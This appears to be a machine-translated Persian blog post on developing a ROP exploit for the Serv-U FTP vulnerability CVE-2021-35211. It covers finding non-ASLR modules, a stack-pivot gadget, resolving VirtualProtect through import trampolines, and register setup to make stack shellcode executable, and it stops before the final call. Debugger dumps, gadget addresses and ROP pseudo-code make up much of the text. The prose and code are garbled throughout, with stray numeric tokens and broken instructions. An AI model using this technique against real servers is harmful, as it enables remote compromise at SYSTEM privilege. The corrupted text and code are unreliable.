تیم Cosmos یک اکسپلویت سفارشی برای CVE-2021-35211 ایجاد کرد
پیشینه
به عنوان بخشی از کارمان بر روی پلتفرم Cosmos (که قبلاً به عنوان CAST شناخته میشد)، گاهی اوقات برای دستیابی به نیازهای مشتری خاص، نیاز به سلاحسازی آسیبپذیریها داریم. در این مورد از ما پرسیده شد که "آیا می توانید برای این یک اکسپلویت بنویسید؟"
آسیبپذیری
در این وبلاگ، میخواهم بخشی از فرآیند فکری ایجاد یک اکسپلویت مبتنی بر ROP برای Serv-U FTP v15.2.3.717 در ویندوز مدرن را به اشتراک بگذارم. سیستم های. من قصد ندارم علت اصلی آسیب پذیری را در اینجا پوشش دهم زیرا تیم تحقیقاتی مایکروسافت در پست وبلاگ خود به خوبی از آن استفاده کردند. لطفاً ابتدا آن مقاله را بخوانید و سپس به اینجا بازگردید اگر علاقه مند هستید که چگونه به نقطه PoC NattySamson و سوء استفاده بعدی خود رسیدیم. رجیستر r9
را با یک مقدار ارائه شده توسط مهاجم پر کنید که متعاقباً توسط دستور call r9
استفاده می شود. این به ما راهی برای کنترل ریپ و اجرای تئوری کد دلخواه در زمینه Serv-U می دهد، که معمولاً به عنوان یک سرویس به عنوان NT AUTHORITYSystem اجرا می شود.
ما ابزارسازی را ساده نگه می داریم. اگر می خواهید در کنار هم بازی کنید، به این موارد نیاز دارید:
- یک جداکننده. در این مثال من از Hopper Disassembler استفاده کردم، اما IDA Pro، Ghidra یا هر چیز دیگری این کار را انجام می دهد.
- Radare2. چاقوی ارتش سوئیس زبان اسمبلی! آن را از وب سایت Radare2 دریافت کنید.
- WinDBG. من از WinDBG در Windows Server 2022 Datacenter استفاده کردم، می توانید آن را از اینجا دریافت کنید.
- کد اثبات مفهوم. اکسپلویتی که من نوشتم بر اساس PoC نوشته شده توسط NattiSamson است. کد اصلی اینجاست: PoC.
- Serv-U-FTP v15.2.3.717. آن را از صفحه دانلود Serv-U دانلود کنید.
- Python 3. Python 2 احتمالاً با برخی از ترفندها کار خواهد کرد. من بسیاری از این کارها را به صورت دستی انجام می دهم تا مراحل مربوط به نوشتن اکسپلویت های ROP را بهتر نشان دهم. شاید در یک پست وبلاگ بعدی به نحوه انجام این کار با ابزارهای اتوماسیونی مانند مونا خواهم پرداخت. توسعه Exploit
من با PoC NattiSamson شروع کردم که باگ را در Serv-U ایجاد کرد و یک مقدار قابل کنترل توسط کاربر را در
rip
از طریقفراخوانی r9[194590] قرار داد.
r9
یک رجیستر QWORD (8 بایت / 64 بیتی) است، که محتویات آن را می توان با ارسال یک بار مخرب به دقت ساخته شده در طول دست دادن رمزنگاری SSH اولیه با Serv-U کنترل کرد.Let's' توسعه اکسپلویت را به قطعات تقسیم کنید. این یک اکسپلویت ROP خواهد بود و به راحتی به این صورت ساخته میشود:
- آدرسی را در
r9
قرار دهید تا اجرای کد را شروع کنید - ASLR را شکست دهید تا 6P59i بالا را فعال کنید[09] نشانگر پشته
rsp
برای اشاره به زنجیره ROP در بارگذاری ما - آدرس تابع
kernel32.dll!VirtualProtect
را بیابید، که من از stack برای برش exe استفاده خواهم کرد RWX) - تعیین ابزارهای مفید ROP برای انجام (4)
- یک زنجیره ROP بسازید که
VirtualProtect
را فراخوانی میکند تا حفاظت صفحه پشته را از RX به RWX تغییر دهد[196590] pre-seters the -مقادیر بهره برداری (در صورت لزوم و امکان پذیر) - ابزارهای ROP را برای پرش به کد پوسته در پشته جدید اجرایی اضافه کنید
ممکن است به آن ترتیب پایبند باشم یا نمانم!
- آدرسی را در
کجا پرش کنیم؟ ASLR؟ Stack Pivot؟
سه نقطه اول بالا همگی در هم تنیده شده اند، بنابراین من همزمان به آنها خواهم پرداخت. سوال این است: چه آدرس حافظه ای را باید در r9
قرار دهم تا بتوانیم بهره برداری زنجیره ROP خود را شروع کنیم؟ من باید حل کنم:
- نشانگر پشته
rsp
باید قبل از بازگشت تماسr9
با یک دستورالعمل ret به زنجیره ROP ما اشاره کند. این به دلیل نحوه کارret
است. دستورret
را معادلpop rax
در نظر بگیرید.jmp rax
یا ساده تر،pop rip
، که هر دو یک آدرس 64 بیتی را از پشته بیرون می آورند و به آن می پرند. اگر پشته را کنترل کنید، آدرس برگشتی هر دستورالعمل ret را در آینده کنترل می کنید. - به عبارت دیگر: اگر
rsp
تا زمانret[بهزنجیرهROPمااشارهنکند19459010نامیدهمیشود،منشیلنگهستم
- متأسفانه
rsp
به زنجیره ROP ما در زمان تماس PoCr9
اولین ابزار ROP ما را اشاره نمی کند، rsp را با آدرس بافر زنجیره پیلود/ROP ما پر کنید و سپسفراخوانی مجدد
. - به دلیل ASLR، اکثر آدرس های حافظه هر بار که Serv-U راه اندازی می شود متفاوت خواهند بود. من باید آدرسهای ثابت را پیدا کنم، حداقل تا زمانی که بتوانم جای پای مناسبی برای جستجوی پویا در زمان اجرا پیدا کنم. حیله گر. خوشبختانه، ستارهها روی این باگ همتراز شدند و کار کردن با این مشکلات بسیار آسان است. اول: ASLR. تا زمانی که روی تصادفیسازی فضای آدرس کار نکرده باشم، نمیتوانم کاری انجام دهم.
ASLR
نمیتوانم پیوت را روی هم قرار دهم یا بهطور قابل اعتمادی به یک دستورالعمل مفید بپرم یا به زنجیره ROP بروم تا زمانی که موارد غیر مفیدی را پیدا نکنم. آدرسهای قابل پیشبینی و تکرارپذیر ASLR.
اولین کاری که باید انجام دهید این است که ببینید آیا Serv-U.exe یا هر یک از DLLهای همراه بدون پشتیبانی ASLR کامپایل شدهاند یا خیر. ابزار کار، PESecurity NetSPI است که از https://github.com/NetSPI/PESecurity در دسترس است. این یک اسکریپت PowerShell است که فایلهای اجرایی را برای پرچمهای امنیتی اسکن میکند و یک گزارش مختصر تولید میکند، مانند:
PS C:UsersAdministratorDesktop> Import-Module.Get-PESecurity.psm1
PS C:UsersAdministratorDesktop> Get-PESecurity -directory 'C:Program FilesRhinoSoftServ-U' -recursive
نام فایل: C:Program FilesRhinoSoftServ-URhinoNET.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است
نام فایل: C:Program FilesRhinoSoftServ-URhinoRES.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است
نام فایل: C:Program FilesRhinoSoftServ-UServ-U-RES.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است
نام فایل: C:Program FilesRhinoSoftServ-UServ-U-Setup.exe
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: درست است
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است
نام فایل: C:Program FilesRhinoSoftServ-UServ-U-Tray.exe
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: درست است
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است
نام فایل: C:Program FilesRhinoSoftServ-UServ-U.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است
نام فایل: C:Program FilesRhinoSoftServ-Uzlib1.dll
ARCH: AMD64
دات نت: نادرست
ASLR: نادرست
DEP: درست است
Authenticode: نادرست
نامگذاری قوی: N/A
SafeSEH : N/A
ControlFlowGuard: نادرست
HighentropyVA: درست است
دودهای مقدس، این تعداد زیادی باینری غیر ASLR است! برای شرم، SolarWinds. این بدان معناست که Serv-U.dll و غیره همیشه در همان آدرسهای حافظه بارگذاری میشوند، به این معنی که من آدرسهای قابل اعتمادی دارم که میتوانم ابزارهای ROP را از آنها جمعآوری کنم.
Stack Pivot
همانطور که قبلاً ذکر شد، نشانگر پشته rsp
در زمانی که فراخوانی r9
اتفاق میافتد، به بافر بار بهرهبرداری ما اشاره نمیکند. این همه چیز را خراب می کند زیرا زمانی که تابع r9
ret
را فراخواند، CPU آدرس برگشتی را از پشته در آدرس در rsp
و [1459010] و [1459010] [1945] ] به آن. به عبارت دیگر، اجرا به صورت عادی از سر گرفته می شود. من میتوانم r9
را کنترل کنم و بنابراین کنترل کنم که تماس
به کجا میپرد، اما نمیتوانم کنترل کنم که به کجا برمیگردد. من باید راهی پیدا کنم تا rsp
را به محموله خود نشان دهم و تنها با استفاده از یک ابزار ROP به زنجیره ROP خود برگردم. ]rbp. از کجا بدانم؟ با بررسی رجیسترها و پشته در یک دیباگر در نقطه فراخوانی r9
توسط CPU اجرا می شود.
ابتدا ثبات ها:
<0:008> r 00 0000000d`09bfebf0 00000000`72111cb8 LIBEAY32!CRYPTO_ctr128_encrypt+0xc6 rax=000000000000010 rbx=000001ed4d497f00 rcx=000001ed4d9126b8 rdx=000001ed4d9126c8 rsi=ffffffffffb627a8 rdi=0000000000000000 rip=00000000720b9636 rsp=0000000d09bfebf0 rbp=000001ed4d5a410a r8=000001ed4d497f00 r9=4141414141414100 r10=000001ed4d497f00 r11=000001ed4d5a40fa r12=000001ed4d9126c8 r13=0000000000000001 r14=ffffffffffc91a32 r15=000001ed4d474e80 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 LIBEAY32!CRYPTO_ctr128_encrypt+0xc6: 00000000`720b9636 41ffd1 call r9 {41414141`41414141}
ما میتوانیم ببینیم که نشانگر پشته و نشانگرهای پایه به هم نزدیک نیستند:
rsp = 0x00d09b rbp = 0x1ed4d5a410a
چیزی از بار ما در آدرس حافظه rsp
وجود نداشت، اما در مورد rbp
چطور؟[196590]
00000253`5badfa9a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaaa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaba 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaca 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAAAA
00000253`5badfada 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfaea 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfafa 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb0a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb1a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb2a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb3a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb4a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb5a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb6a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb7a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000253`5badfb8a 41 41 41 41 41 41 41 41-00 00 00 00 00 00 00 00 AAAAAAAA……..
00000253`5badfb9a 00 00 00 00 00 00 00 00-00 00 00 00 00 00 73 92 …………..s.
00000253`5badfbaa bf a1 35 03 00 90 b8 34-5a 90 ff 7f 00 00 70 34 ..5….4Z…..p4
00000253`5badfbba 5a 90 ff 7f 00 00 00 22 Z……"
یکنوع بازی شبیه لوتو! بنابراین اولین دستور روز این است که آدرس را در rbp
به به منتقل کنید. برای انجام این کار، به یک ابزار ROP نیاز دارم که کاری شبیه به:
mov rsp، rbp را انجام دهد. ret
به ندرت به این راحتی است، اما از اینجا شروع می کنیم. استفاده از Radare2 برای جستجوی ابزارهای ROP ساده است، به ویژه در معماری هایی که به حافظه غیرهمتراز دسترسی دارند مانند Intel x64 که به ما کمک می کند ابزارهایی را پیدا کنیم که حتی بخشی از کد کامپایل شده نیستند. این یک مفهوم جالب است، آن را بررسی کنید. کد زیر را در نظر بگیرید:
0x18005d485 498be3 mov rsp, r11 0x18005d488 5d pop rbp 0x18005d489 c3 ret
اولین دستورالعمل، mov rsp
r11
، سه بایت را اشغال می کند سه بایت
در
3 بایت
در
[19459009
3 بایت
3 بایت
[194590090x18005d485
. بنابراین، دستورالعمل بعدی در آدرسی 3 بایت بالاتر در 0x18005d488
است. آدرس های دستورالعمل؟ کدهای عملیاتی x8bxe3x5dxc3
خواهند بود که مجموعهای از دستورالعملها کاملاً متفاوت است. میتوانید از Radare2 برای جداسازی این کدهای عملیاتی مانند زیر استفاده کنید:
% rasm2 -a x86 -b 64 -d 8be35dc3
mov esp، ebx
پاپ rbp
ret
خب، به آن نگاه کنید! یک گجت کاملا متفاوت میتوانید از Radare2 بخواهید بایت به بایت جستجوهای ابزارک را انجام دهد تا با استفاده از فرمان "/ad/a "
مانند این، همه جایگشتهای ممکن دستورالعملها را کشف کند:
% r2 Serv-U.dll
- نپرسید که r2 چه کاری می تواند برای شما انجام دهد - بپرسید که برای r2 چه کاری می توانید انجام دهید
[0x1801a4184]> "/ad/a mov rsp;ret;"
[0x1801a4184]>
فرمان بالا "/ad/a mov rsp;ret"
به Radare2 میگوید که Serv-U.dll
را برای دستورالعملها اسکن کند که با یک فایل [094] مطابقت دارد. ]mov به دنبال آن یک ret
، و در آن دستورالعمل mov چیزی را در رجیستر rsp
مینویسد. هر یک از عبارت های پرس و جو انباشته شده با نقطه ویرگول از هم جدا می شوند و انتظار می رود Regexe باشند. کل دستور باید داخل دو نقل قول باشد.
متأسفانه برای ما، جستجوی Radare2 بالا هیچ نتیجه ای نداشت. خوب، بیایید سعی کنیم ابزاری را پیدا کنیم که دارای نوعی mov rsp، .*،
سپس هر دستورالعمل دیگری و سپس یک ret
:
[0x1801a4184]> باشد. ad/a mov rsp;.*;ret;"
0x180059ffb 498be3 mov rsp, r11
0x180059ffe 5d pop rbp
0x180059fff c3 ret
0x18005d485 498be3 mov rsp, r11
0x18005d488 5d pop rbp
0x18005d489 c3 ret
0x18005d986 498be3 mov rsp, r11
0x18005d989 5d pop rbp
0x18005d98a c3 ret
0x18005fa9a 498be3 mov rsp, r11
0x18005fa9d 415e pop r14
0x18005fa9f c3 ret
0x180063a5a 498be3 mov rsp, r11
0x180063a5d 5f pop rdi
0x180063a5e c3 ret
0x180064795 498be3 mov rsp, r11
0x180064798 5f pop rdi
0x180064799 c3 ret
... برای اختصار حذف شده است ...
0x180196569 498be3 mov rsp, r11
0x18019656c 5f pop rdi
0x18019656d c3 ret
0x1801a167f 498be3 mov rsp, r11
0x1801a1682 5f pop rdi
0x1801a1683 c3 ret
این تعداد زیادی ابزار منطبق است! به یاد داشته باشید، من میخواهم آدرس محموله خود را در rsp
قرار دهم. بیایید هر ابزاری را که در آن rbp
از پشته خارج شده است را رد کنیم. من مایلم از به هم ریختن ثبتهای پشته بیش از حد ضروری اجتناب کنم. برایم مهم نیست که rdi
خراب شود، بنابراین این ابزارها می توانند مفید باشند تا زمانی که r11
به مکان بافر بار ما در پشته اشاره کند.
برای بررسی. مقدار r11
من از WinDBG برای پیوست کردن به فرآیند Serv-U و مقایسه مقدار rbp
در برابر r11
در آن زمان استفاده کردم. توسط اکسپلویت اجرا میشود:
(1c60.1c04): نقض دسترسی - کد c0000005 (اولین فرصت)
استثناهای شانس اول قبل از هر گونه رسیدگی به استثنا گزارش می شوند.
این استثنا ممکن است مورد انتظار و رسیدگی باشد.
LIBEAY32!CRYPTO_ctr128_encrypt+0xc6: 00000000`720b9636 41ffd1 با r9 تماس بگیرید {41414141`41414141} 0:013> r rax=000000000000010 rbx=0000020058925d20 rcx=0000020058d1d688 rdx=0000020058d1d698 rsi=ffffffffffb5ee68 rdi=0000000000000000 rip=00000000720b9636 rsp=0000009dd2aff320 rbp=0000020058648b3a r8=0000020058925d20 r9=4141414141414141 r10=0000020058925d20 r11=0000020058648b2a r12=0000020058d1d698 r13=0000000000000001 r14=ffffffffff92b492 r15=000002005887c510 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 LIBEAY32!CRYPTO_ctr128_encrypt+0xc6: 00000000`720b9636 41ffd1 با r9 تماس بگیرید {41414141`41414141} 0:013>
میتوانیم ببینیم که:
rbp=0000020058648b3a r11=0000020058648b2a
چه خوش شانسی! رجیستر r11
به آدرسی 16 بایت بالاتر از rbp
اشاره می کند که دقیقاً به بافر بار ما اشاره می کند. من میتوانم از ابزار ROP تازه شناساییشده برای اجرای stack pivot استفاده کنم، هشت بایت از پشته (که واقعاً بار ماست) به rdi
بریز و سپس بایتهای بعدی را از پشته به بریزم. ]ریپ
; با توجه به اینکه من پشته جدید را کنترل میکنم، بنابراین مقدار rip
را کنترل میکنم، به این معنی که اکنون ابزاری برای چرخاندن پشته و ادامه اجرای از زنجیره ROP خود دارم.
من آدرس ابزارک را انتخاب کردم. 0x18010391a
از مواردی که توسط Radare2 یافت شد. این مقدار به عنوان اولین آدرس ابزار ROP ما در بافر payload قرار گرفت.
اجرای Shellcode: یافتن kernel32!VirtualProtect
اکنون که پشته را به بافر ROP خود منتقل کردم، به بافر ROP خود نیاز دارم. برای تنظیم شرایط اجرای shellcode. مرحله اول: صفحات حافظه ای که کد پوسته ما در آنها ذخیره شده است را قابل خواندن، قابل نوشتن و مهمتر از همه قابل اجرا کنید. کد پوسته ما روی پشته در بافر محموله ما قرار دارد، بنابراین این چیزی است که من باید آن را اجرایی کنم.
تابع VirtualProtect
برای تغییر پرچم های حفاظتی برای مناطق حافظه استفاده می شود، که به ما امکان می دهد پشته را تنظیم کنیم. به قابل اجرا (RWX). من جدول واردات Serv-U.dll
را بررسی کردم، اما VirtualProtect
را وارد نکرد، بنابراین سادهترین راه برای دریافت آدرس صحیح (مرجع مستقیم) کار نمیکند. در عوض باید از توابع بومی ویندوز برای استخراج آدرس با فراخوانی معادل GetProcAddress(GetModuleHandleW(L"kernel32.dll)، "VirtualProtect")
استفاده کنم. جداول (Navigation / Imported Symbols in Hopper) که Serv-U.dll
GetModuleHandleW
از 7]79Tجدول[39View0009]7919000910000000010000917009100910091009100910009100091000910009100091000910009100000100100000000000000 وارد می شود. همچنین
GetProcAddress
:

آدرس 0x1801c92c8[194]0x1801c92c8[194] 0x1801c92c0[194]59S595900101959501501019595959595959595959595959595959595010190500001. وقتی به آن پرش می شود، اجرا را به
kernel32!GetModuleHandleW
واقعی هدایت می کند که توسط بارگذار کتابخانه سیستم عامل در فضای پردازش Serv-U نگاشت شده است. همین امر برای 0x1801c9590
و kernel32!GetProcAddress
صدق می کند. به عبارت دیگر، مقدار ذخیره شده در آدرس 0x0x1801c92c8
یک اشاره گر به تابع واقعی GetModuleHandleW
است. از GetModuleHandleW
در این زمینه. ابتدا، ترامپولین را در Serv-U.dll
:
0:026> u poi(0x1801c92c8) لغو کنید. KERNEL32!GetModuleHandleWStub: 00007ffd`19e4ce40 48ff2559370600 jmp qword ptr [KERNEL32!_imp_GetModuleHandleW (00007ffd`19eb05a0)] 00007ffd`19e4ce47 cc int 3
عالی. آیا همین امر در مورد GetProcAddress
صدق می کند؟
0:026> u poi(0x1801c9590) KERNEL32!GetProcAddressStub: 00007ffd`19e4a780 4c8b0424 mov r8,qword ptr [rsp] 00007ffd`19e4a784 48ff25bd510600 jmp qword ptr [KERNEL32!_imp_GetProcAddressForCaller (00007ffd`19eaf948)] 00007ffd`19e4a78b cc int 3
بله واقعاً! این ما را از دردسرهای زیادی نجات داده است و من می توانم زنجیره ROP را به روش "آسان" با فراخوانی نشانگرهای شناخته شده برای دسترسی به توابع مورد نیاز برای مکان یابی VirtualProtect
بنویسم. برای فراخوانی عملکردهای ضروری، باید برخی از ابزارهای ROP را بیابم که عملکردهای لازم را ارائه دهند. pivot
moduleHandle = GetModuleHandleW(L"kernel32.dll")
VirtualProtect(stackAddress، اندازه، ویژگیها، و نتایج، اندازه، ویژگیها، و نتایج) را تنظیم کنید[509]109[109] آدرس سورتمه NOP بافر محموله ما + shellcode
برای ایجاد زنجیره ابزارک کمی آزمون و خطا لازم است زیرا ما اغلب محدود هستیم به ابزارهای کمتر از ایده آل بنابراین مدتی را صرف یافتن ابزارهای مفید کردم. چه چیزی "مفید" است؟ در اینجا چند ایده وجود دارد:
- ساده و کوتاه. به عنوان مثال
mov rax, rbx ; ret
بسیار بهتر ازmov rax, rbx؛ mov rax, qword ptr [19459006;
زیرا دومی روی مقادیری که ما میخواهیم ضربه میزند و همچنین به دلیل دستور pop با پشته به هم میخورد. Simple در ROP خوب است. اما اگر نتوانیم ابزارهای "کامل" را پیدا کنیم (یعنی آنهایی که فقط موارد مورد نظر را انجام میدهند. عملیات و یکret)
سپس ما باید به ابزارهایی با بار اضافی بسنده کنیم. در چهار رجیستر عبور دهنده آرگومان (rcx
،rdx
،r8
، وr9[194] به ترتیب فراخوانی توابع فوق العاده مفید هستند، [194] برای مثال، این ابزارها طلای جامد هستند:
pop rcx؛ ret
pop rdx؛ ret
pop 008]
پاپ r9 ; ret
- در این اکسپلویت هیچ ابزار
pop r9
موجود نبود. در عوض، من به دنبال کوچکترین ابزارهای غیر کامل ممکن گشتم تا رجیستر دیگری را با مقدار دلخواه بارگیری کنم و آن را در رجیسترr9
تعویض کنم، مانند این:پاپ راکس؛ xchg r9, rax ; ret
- ابزارهای کنترل جریان مانند
jmp rax. ret
یابا rbx تماس بگیرید. ret
را میتوان به این صورت به هم متصل کرد:pop rax
و به دنبال آنjmp rax یا jmp qword ptr [rax]
- ابزارکهایی که در صورت عدم استفاده از خطوط فوقالعاده مفید هستند. مواردی که من برای
GetModuleHandleW
وGetProcAddress
دارم. به عنوان مثال:mov rax، qword ptr [rax]
. مقدار را در آدرس حافظه درrax
می خواند و آن را در رجیسترrax
ذخیره می کند. 8 بایت در آدرس حافظه0x123456789
و این مقدار را در رجیسترrax
ذخیره می کند. زنجیره ROP واقعی گاهی اوقات نتیجه نمی دهد و باید برای همیشه به فکر راه های جایگزین برای انجام کار باشید. به عنوان مثال، من ساعتها تلاش کردم تا هنگام فراخوانی بهVirtualProtect
یک راه آسان برای قرار دادن مقادیر دلخواه در رجیسترr9
پیدا کنم. در نهایت من روی یک زنجیره دو گجت مستقر شدم کهr9
از طریقrax
پر شد، مانند این:# ابزارک 1 pop rax # ما پشته را کنترل میکنیم، بنابراین میتوانیم مقدار وارد شده به rax را کنترل کنیم ret
# ابزارک 2 xchg rax، r9 # tadaaaa adc al, 0 # به طور موثر یک NOP بدون عواقب اضافه کردن rsp، 0x38 # به طور موثر یک NOP با عواقب: نشانگر پشته 0x38 بایت افزایش می یابد. ret # آدرسی که توسط دستور ret از پشته بیرون آمده است باید 0x38 بایت بیشتر از مقدار معمولی بار/پشته ما باشد.
آیا Pseudo-Code زیر است:rsp، 0x38،
از محموله من خورده شد، اما کار را انجام داد و بهترین چیزی بود که داشتم، بنابراین با آن رفتم. تابع ] بصورت:HMODULE GetModuleHandleW( [in, optional] LPCWSTR lpModuleName )؛
یک اشاره گر (در اصطلاح مایکروسافت با نام "دسته") برای مشخص کردن ماژول (DLL، قابل اجرا، و غیره) در حافظه برمیگرداند. اشاره گر به معنای واقعی کلمه به یک DLL کامل در حافظه اشاره می کند اگر بارگذاری شود. نام ماژول باید به عنوان یک رشته "گسترده" مشخص شود که از 16 بیت در هر کاراکتر به جای هشت بیت ASCII در هر کاراکتر استفاده می کند. به عنوان مثال:
ASCII:
"kernel32" = x6bx65x72x6ex65x6cx33x32
رشته عریض:
"x66xb2" x00x72x00x6ex00x65x00x6cx00x33x00x32x00"
به اندازه کافی، یک نسخه رشته گسترده از
kernel32[1045] در [0]
Serv-U.dll
باینری! در0x180313230
قرار دارد، همانطور که در اینجا در Hopper نشان داده شده است:توجه داشته باشید که به عنوان نوع
dw
نشان داده می شود که یک رشته گسترده است. بررسی نتیجه در ویرایشگر هگز تأیید می کند که این رشته واقعاً یک رشته گسترده است:عالی. همه چیز برای تماس با
GetModulehandlew (L "Kernel32.dll")
POP RCX # ما مقدار 0x180313230 (آدرس kernel32) رشته) روی پشته ای که باید به rcx اضافه شود pop rax # مقدار 0x1801c92c8 (آدرس ترامپولین GetModuleHandleW) را روی پشته قرار می دهیم تا در rax قرار گیرد. jmp [rax] # Rax Reference و پرش به آدرس حاصل که آدرس واقعی GetModuleHandleW است mov rcx, rax # دستگیره برگشتی را در rcx برای بعدی ذخیره کنید
دستگیره
kernel32.dll
در رجیسترrax
برگردانده شد، که میتوانیم آن را برای استفاده بعدی ذخیره کنیم. در اکسپلویت، آن را در یک ناحیه قابل نوشتن از حافظه در بخش.data
Serv-U ذخیره میکنم که به عنوان یک صفحه خراش برای «متغیرهایی» که دادهها را موقتاً نگه میدارند، در نظر میگیرم.
Call GetProcAddress[2]The [196590تابعGetProcAddress
به صورت زیر تعریف شده است:
FARPROC GetProcAddress(
[in] HMODULE hModule،
[in] LPCSTR lpProcName
FARPROC GetProcAddress(
[in] HMODULE hModule،
[in] LPCSTR lpProcName
اولین پارامتر دسته ای است که من از GetModuleHandleW
به دست آوردم. دومی نام تابعی است که میخواهم پیدا کنم: VirtualProtect
. این بار انتظار می رود که رشته ASCII باشد، نه پهن. متأسفانه، هیچ رشته «VirtualProtect» با پایان NULL در باینری های Serv-U وجود ندارد، بنابراین باید با استفاده از پشته، رشته خود را ایجاد کنم.
اولین گام یافتن یک آدرس حافظه قابل نوشتن در Serv-U's است. بخش .data
که می توانم یک رشته برای آن بنویسم. من از Hopper برای جستجوی بخش دادهها برای یافتن بخشی استفاده کردم که به هیچ کدی ارجاع داده نشده است. فرض بر این است که منطقه حافظه واقعاً استفاده نشده است. کد شبه به شرح زیر است:
# "VirtualProtectx00x00" (16 بایت) را در یک آدرس استفاده نشده در .data بنویسید.
# کار را تقسیم کنید تا دو تکه 8 بایتی پشت سر هم نوشته شوند.
pop rdx # یک آدرس استفاده نشده در بخش داده Serv-U به rdx نمایش داده می شود.
pop rax # مقدار 0x506c617574726956 ("VirtualP" small-endian) را از پشته بردارید.
mov [rdx]rax # "VirtualP" را در 8 بایت اول از تکه حافظه داده ما بنویسید.
pop rdx # آدرس 8 بایت بعدی حافظه .data را در rdx قرار دهید.
pop rax # "rotectx00x00" را از پشته به رجیستر rax باز کنید.
mov [rdx]، rax # افزودن "rotectx00x00" به قسمت حافظه ما، ایجاد یک رشته کامل "VirtualProtectx00x00". # فرض کنید rcx حاوی مقدار بازگردانده شده توسط GetModuleHandleW، دسته به kernel32.dll باشد.
# فرض کنید rdx حاوی آدرس رشته "VirtualProtectx00" باشد.
pop rax # Pop 0x1801c9590 از پشته (آدرس ترامپولین GetProcAddress)
jmp [rax] # پرش به GetProcAddress (دسته، "VirtualProtectx00")
# آدرس تابع VirtualProtect با راکس برگردانده می شود)
فیو! اکنون آدرس VirtualProtect
در rax
را دارم.
[in] LPVOID lpAddress، # آدرس شروع حافظه برای قابل اجرا کردن (به نزدیکترین مرز صفحه 4k گرد شده است).
[in] SIZE_T dwSize، # تعداد بایت های قابل اجرا (به نزدیکترین مرز صفحه 4k گرد شده).
[in] DWORD flNewProtect، # پرچمهای حفاظتی. در این مورد 0x40 = RWX.
[out] PDWORD lpflOldProtect # نتایج را در این متغیر برگرداند. باید یک آدرس حافظه قابل نوشتن باشد!
)؛
به خاطر داشته باشید که پارامترها در rcx
، rdx
، r8
، r8
، ، 5، 5 و ، ،
9، و 9 به این تابع ارسال می شوند. به ترتیب. در این مورد:
rcx = آدرس بافر بار ما (یعنی آدرس پشته فعلی) rdx = 0x2000 (8 کیلوبایت یا دو صفحه حافظه 4k) r8 = 0x40 (قابل خواندن، قابل نوشتن، قابل اجرا) r9 = آدرس از بخش داده Serv-U
پارامترهای دوم و سوم بسیار آسان هستند: فقط آنها را از پشته جدا کنید!
pop rdx # Pop 0x2000 off the stack pop r8 # Pop 0x40 off the stack
دریافت آخرین آرگومان کمی پیچیده تر است زیرا ما ابزار pop r9
برای کار با آن نداریم. در عوض از ابزار ترکیبی استفاده میشود:
# 1st gadget
pop rax # آدرس قابل نوشتن پاپ از پشته در rax
ret
# ابزار دوم
xchg rax، r9 # rax و r9 را تعویض کنید تا r9 اکنون حاوی آدرس قابل نوشتن باشد
adc al, 0 # دستورالعمل مزخرف اضافی عملاً هیچ عملیاتی را انجام نمی دهد
افزودن rsp، 0x38 # این قسمت از ابزار، نشانگر پشته را 0x38 بایت به سمت بالا حرکت می دهد.
# ما این را در اکسپلویت خود با رد کردن 0x38 بایت از خود حساب می کنیم
# بافر payload قبل از نوشتن مقدار بعدی در بافر.
ret # Return to the next gadget
Finally I populate the first parameter: the address of our stack. The gadgets aren't perfect for this operation, but they work:
# 1st gadget
push rbp # Push an address near our stack onto the head of the stack.
pop rax # Pop the address off the stack into rax so that rax now contains the address of the stack.
add byte ptr [rax]al # Effective no operation in this context
ret # Return to next gadget
# 2nd gadget
mov rcx, rax # Put the (approximate) address of the stack into rcx
ret
At this point I have populated the registers and I just need to call VirtualProtect
to make our shellcode executable:
